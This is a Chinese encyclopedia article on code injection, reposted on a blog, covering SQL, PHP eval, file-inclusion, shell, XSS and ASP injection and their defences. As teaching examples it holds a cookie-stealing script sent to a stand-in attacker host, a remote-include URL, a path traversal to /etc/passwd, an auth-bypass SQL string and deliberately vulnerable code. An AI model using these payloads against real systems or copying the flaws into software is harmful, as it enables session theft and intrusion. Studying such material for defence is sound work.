代码注入漏洞

摘要:
免费百科全书跳转到导航跳转到搜索代码注入是一种由处理非法数据引起的计算机错误应用程序。
代码注入
维基百科,自由的百科全书
 
 
跳到导航跳到搜索

代码注入Code injection)是一种肇因于处理非法数据的计算机臭虫应用。代码注入可被攻击者用来导入代码到某特定的计算机程序,以改变程序的运行进程或目的。代码注入攻击的结果可以是灾难性的。例如说:代码注入可作为许多计算机蠕虫繁殖的温床。

概说及例子[编辑]

举例说,有一间公司的网页服务器上有一个签名簿的代码,用来让用户发表简短的口信,例如:

 Nice site!

不过,这个代码原来有漏洞。一个意图入侵者得悉这间公司采用了有问题的代码,于是试图透过留下一条附带有代码的口信,例如:

 Nice Site,  I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>

如果另一个用户查看了该页,被注入的代码即运行。该代码可让攻击者扮装成另一个用户。然而这个相同的软件臭虫可被用户意外的触发,亦即造成该网站暴露 HTML 代码。

 That post was awesome, :>) 

在这个案例里表情符号可造成 HTML 代码不对称,因为不对称的HTML标签被注入到代码里。

大部分这类的问题与哪些可能输入数据,或者特殊数据效果的错误假设相关。一些软件开发员可能犯下危险假设的经典示例如下:

  • 假设某程序接口使用的元字符永远不会在输入中出现;例如假设英文半角标点符号如引号或者半括弧永不出现。
  • 假设只有阿拉伯数字字符会当成输入键入。
  • 假设输入永远不会超过固定字段大小。
  • 假设阿拉伯数字只会相等或少于上限。
  • 假设阿拉伯数字只会相等或大于下限。
  • 假设客户端原本伺服端提供的默认值 (例如窗体的隐藏字段或者cookie) 无法于客户端被用户修改。这种假设忽略了众所皆知的攻击如cookie下毒:在此cookie值被恶意用户强制设置。
  • 假设从输入端获取指针或者数组索引不会出问题。
  • 假设输入端永远不会提供关于它自己或者其他相关值的虚假信息,例如文件大小[1]

代码注入的用途[编辑]

蓄意的用途[编辑]

恶意使用[编辑]

代码注入的使用一般被视为心怀恶意的举动,而它确实常常如此。透过代码注入技术在或者破解系统上,以获取信息、提权、或者非法访问某系统是相当流行的。

恶意用途的代码注入可包括:

  • 透过SQL注入(见下文)随意修改数据库中的值。影响所及可从某网站外观损毁,到对敏感数据严重的破坏。
  • 当用户拜访恶意网站时,透过网页浏览器或其插件的漏洞安全隐患,进行代码注入,以便安装流氓软件到用户机器上。
  • 透过PHP或者ASP注入安装流氓软件或者运行恶意代码于服务端。
  • 于UNIX系统利用Shell注入安全隐患对setuid root二进制数据作修改,达成提权root使用权限的目的。
  • 于视窗系统利用Shell注入安全隐患对系统服务做手脚,达成提权本地端系统使用权限的目的。
  • 从网页浏览器利用HTML/脚本注入(跨网站脚本)进行连线窃取 / cookies窃取进而冒充他人,获取他人个人敏感数据。

善意使用[编辑]

某些人可能会出于善意而使用代码注入。例如,透过代码注入以改变或者调试某程序或者系统的行为可以"摆弄"系统以某种方式表现其行为而不怀任何恶意。打比方说:

  • 代码注入可以添入某原本搜索结果页面设计上没有的字段,方便用户。
  • 透过对原本设计默认函数没有曝光的字段赋值,代码注入可提供一个全新的方式来过滤、排序、或者归类数据。

这些人诉诸此种替代手段大致是下面几种原因之一:

  • 对软件中希望改进函数进行润饰的其他方法证明不可能,或者
  • 其他对软件修改的方式代价过高,或者
  • 其他对软件修改的方式过度艰苦。

一般开发社群对以此为目的的代码注入不表欢迎。他们称这种行为为三脚猫、半调子、或者骇 / 黑程序。(kludge or hack)

某些开发者允许或者甚至表扬代码注入的使用来“加强”他们的软件;通常是因为该方案提供了较不昂贵的方式来实现新的或者特殊化的功能。不幸的是,其副作用与无法列管的蕴含式可能相当危险。

一般来说,即使相当善意的代码注入使用都不被建议使用。

非蓄意的用途[编辑]

某些用户可能会不经意的进行代码注入,因为他们对程序提供的输入,没列在当初开发系统者的考虑中。例如:

  • 用户可能视某个包含表示字符或者字符字符串为合法输入,而不知该字符被开发者所保留而有特殊意义 (像 "张三 & 李四" 里的 "&" 字符,或者英文约翰的 M&M 巧克力: "John's M&M's"里头的单引号)。
  • 用户可能会提交格式错乱的文件做为输入。这种行为对单一程序没什么问题,但可能对整个接收系统是灾难。

避免代码注入[编辑]

要避免代码注入的种种问题,得充分发挥输入输出处理保全,例如:

  • 输入确认。
  • 更换危险字符。例如在PHP透过addslashes()函数保护SQL注入。
  • 输入编码。
  • 输出编码。
  • 采用其他没有饱受代码注入漏洞困扰的编程实现,例如“参数化SQL查询” ("parameterized SQL queries" 又名 "prepared statements" 亦有时称 "bind variables") 。

代码注入示例[编辑]

SQL注入[编辑]

主条目:SQL Injection

SQL注入是种乘SQL语法之利,注入可读取或者修改数据库、或者扭曲原始查询意义的命令。

以一个网页有两个字段让用户输入用户名与密码为例,在该网页幕后工作的代码会产生SQL查询以检查密码是否与用户名称密码列表相符:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

如果这查询有回应行数,便允许该访问。然而,如果恶意用户键入合法用户名,并且在密码栏注入某些合法代码 ("password' OR '1'='1"),查询结果便如下所示:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

在上面示例里,"Password"被假定为空白或者某个无害的字符串。"'1'='1'"逻辑式将永远为真,并且找到多少行就回应多少行,因此访问就被允许了。

该技术可被精练成允许运行多重陈述,甚或加载外部程序。

PHP注入[编辑]

"PHP注入"、"ASP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"PHP注入"实例里,伺服端脚本引擎是PHP

实际上,PHP注入是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。

动态赋值安全隐患[编辑]

mitre.org的史蒂芬克利斯第 (Steven M. Christey)提议以这个名字作为这类型的代码注入安全隐患。

动态赋值安全隐患 - Eval注入[编辑]

eval注入安全隐患发生在攻击者可控制所有或者部分作为“喂”给eval()函数调用的输入字符串。[2]

$myvar = 'somevalue'; 
$x = $_GET['arg']; 
eval('$myvar = ' . $x . ';');

"eval"的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果"arg"如果被设成"10; system('/bin/echo uh-oh')",后面的"system('/bin/echo uh-oh')"代码将被运行,这等同在服务器上运行开发者意料外的程序。在这示例里头是"/bin/echo"。

动态赋值安全隐患 - 动态变量赋值[编辑]

如在"Dynamic Evaluation Vulnerabilities in PHP applications"一文所定义的: PHP支持 "变量的变量",意指变量或者表达式可以对其他变量名赋值。这种特性可用来于程序运行时期动态改变哪个变量被访问或给值。这种特性是把双刃剑:强大、便利、同时也很危险。

许多程序有下面类似代码:

$safevar = "0"; 
$param1 = ""; 
$param2 = ""; 
$param3 = ""; 
# my own "register globals" for param[1,2,3] 
foreach ($_GET as $key => $value) { 
  $$key = $value; 
}

如果攻击者在查询字符串中给定"safevar=bad",那$safevar将会被设为值 "bad"。

动态赋值安全隐患 - 动态函数赋值[编辑]

下面PHP示例将按照请求的方式运行函数。

$myfunc = $_GET['myfunc']; 
$myfunc();

以及:

$myfunc = $_GET['myfunc']; 
${"myfunc"}();

包含文件注入[编辑]

考虑下面的PHP程序(这里包含了个文件可因应需求改变):

<?php
   $color = 'blue';
   if (__isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

开发者认为这样大概可以保证只有 blue.php 和 red.php 可被加载。不过随着任何人可在COLOR轻易的注入随意值,造成以下文件注入的可能性:

  • /vulnerable.php?COLOR=http://evil/exploit? - 注入远程机器上有漏洞的文件。
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit - 从一个已经上传、叫做exploit.php文件运行其代码。
  • /vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - 让攻击者获取该UNIX系统目录检索下密码文件的内容。
  • /vulnerable.php?COLOR=C:\notes.txt%00 - 一个使用元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值"magic_quotes_gpc = On"可以终止这种攻击)

Shell注入[编辑]

Shell注入又称命令行界面注入,它命名源于Unix Shell,不过可套用到大部分允许软件程序化地运行命令行接口的系统上。常见的Shell注入资源有system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及类似的应用程序接口。

考虑下面的简短PHP程序。它运行一段叫做funnytext的外部程序,以置换用户提交的许多其他单字:

<?php
passthru ( " /home/user/phpguru/funnytext " 
           . $_GET['USER_INPUT'] );
?>

该程序可以以多种方式被注入:

  • `命令` 将会运行 命令.
  • $(命令) 将会运行 命令.
  • ; 命令 将会运行 命令,并输出命令的结果。
  • | 命令 将会运行 命令,并输出命令的结果。
  • && 命令 将会运行 命令,并输出命令的结果。
  • || 命令 将会运行 命令,并输出命令的结果。
  • > /home/user/phpguru/.bashrc 将会改写文件 .bashrc.
  • < /home/user/phpguru/.bashrc 将会将文件 .bashrc 提交,当成是 funnytext 的输入。

注:命令指的是命令行接口下可供输入运行的命令,例如视窗平台的 dir、UNIX 平台的 ls 等等。

PHP提供escapeshellarg()escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 - 同样必须对输入确认 / 消毒。

HTML注入/脚本注入 (跨网站脚本)[编辑]

主条目:跨网站脚本

HTML注入/脚本注入是个炒得相当热的话题,一般专业术语为跨网站脚本(Cross-site scripting,通常简称为XSS)。XSS指的是一种依靠用户输入到网页脚本,或者某些像代码行被置于输出HTML,而没有检查HTML代码或脚本的注入漏洞。

这种注入有两个基本型如下:

主动式 (型 1)
这种类型的XSS漏洞比较不危险,因为用户输入被置于动态产生的网页。服务端没有任何改变。
被动式 (型 2)
这种类型比较危险,因为输入是写在静态网页上,故威胁是持续性的。

于IE7透过感染的动态链接库(DLL)实行HTML注入[编辑]

根据英国技术网站The Register[3]文献指出,HTML注入亦可发生在用户本身被有问题的DLL感染过的系统身上。该文献引用罗杰汤森 (Roger Thompson) 的说法:受害者的浏览器,实际上,访问了PayPal或其他类似的网站,甚或某动态链接文件将它自己注入IE,并试着在交易进行中读取并修改HTML。该文献提及使用这种手段的钓鱼攻击顺利规避IE7与赛门铁克尝试侦测可疑网站的努力。

ASP注入[编辑]

"ASP注入"、"PHP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"ASP注入"实例里,伺服端脚本引擎是微软Active Server Pages,一种微软IIS的外加组件。

在实际上与PHP相似,ASP注入也是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。

示例:

<%
    If Not IsEmpty(Request( "username" ) ) Then
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Dim fso, f
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
        f.Write Request("username") & vbCrLf
        f.close
        Set f = nothing
        Set fso = Nothing
        %>
         <h1>List of logged users:</h1>
         <pre>
        <%
         Server.Execute( "userlog.txt" )
        %>
         </pre>
        <%
    Else
        %>
         <form>
         <input name="username" /><input type="submit" name="submit" />
         </form>
        <%
    End If
%>

在这个示例中,用户可用命令而非用户名取代输入。

参看[编辑]

参考[编辑]

  1. 跳转^ 许多文件格式开始直接宣告该文件手头有多少数据,以及某些其他值。在不细心开发的软件中,了解在这宣告里的数据总合可导致缓存溢出 (例如,编程不严谨的网页浏览器)。这常常将代码注入弱点摊在阳光下。这是许多波及文件(特别是图形以及媒体文件)保全漏洞的背后的元凶。
  2. 跳转^ Insecure.orgDynamic Evaluation Vulnerabilities in PHP applications.
  3. 跳转^ Strange spoofing technique evades anti-phishing filters | The Register

外部链结[编辑]

知名的代码注入检测程序[编辑]

免责声明:文章转载自《代码注入漏洞》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇必须知道的ADO.NET 数据库连接池webapi的返回类型,webapi返回图片下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

版本基线自动化之windows

1、背景: 目前项目维护周期过程中,制作调试版本和对外发布版本次数比较频繁,流程过于繁琐和随意,且打包制作人成为瓶颈,为了规范版本基线流程和实现全员自动化参与,拟定版本基线自动化方案。  2、目标: 版本基线自动化方案的实施,主要任务分为配置管理自动化,编译做包自动化,版本发布自动化。主要目标是实现一键式做包和发布,减少人为误操作、释放人力资源、提高开发效...

在Linux下最好用的截图工具Flameshot

在使用StationP1的时候常常需要截图,习惯性的试用了QQ的快捷键截图,截图标注编辑一气呵成,但是Ubuntu仅仅只有系统的截图工具,虽然也有一些功能,但是无法编辑,标注等。于是还是决定上了Flameshot下图是截图效果: 除了随心所欲的选择区域截屏,还附带编辑工具,简直一次过满足多个愿望安装与配置方法:1,使用命令安装 sudo apt insta...

LNMP平台搭建---MySQL安装篇

  在前两篇中,安装了一个基本的Web服务器,但是只能提供静态网页查看,要做成动态网站,就必须要数据库或其他编程语言支持了,这里先介绍MySQL数据库的安装。   MySQL是一个开源的数据库,在互联网行业应用的很广泛,下面来记录一下从源码安装的步骤,当然,MySQL也有其他安装方式,比如,使用yum下载安装rpm包,或者二进制方式安装,如果机器比较多,可...

C Primer+Plus(一)概览

 第一章  概览 *复习题: 1、就编程而言,可移植性表示什么? 答:表示可更好地适应于多种运行环境。 答案:一个程序的可移植性好,就是指程序的源代码不经修改就可以在多种不同的计算机系统里编译成可成功运行的程序。 2、解释源代码文件、目标代码文件和可执行文件之间的区别。 答:源代码文件是存储程序代码的文件;目标代码文件是经过编译之后将源代码转换成机器代码的...

Flink基础(四十一):FLINK-SQL应用场景(2)Catalogs

0 简介 Catalog 提供了元数据信息,例如数据库、表、分区、视图以及数据库或其他外部系统中存储的函数和信息。 数据处理最关键的方面之一是管理元数据。 元数据可以是临时的,例如临时表、或者通过 TableEnvironment 注册的 UDF。 元数据也可以是持久化的,例如 Hive Metastore 中的元数据。Catalog 提供了一个统一的AP...

MacOs终端忽略大小写

使用MacOs的终端时,唯一让人感觉不爽的就是Tab补全是区分大小的,所以查了资料就把这个问题搞定了。在用户目录下创建 .inputrc 文件,内容为以下三行代码,保存后重启终端再次输入文件名Tab补全就可以忽略大小写。 set completion-ignore-case on set show-all-if-ambiguous on TAB:menu-...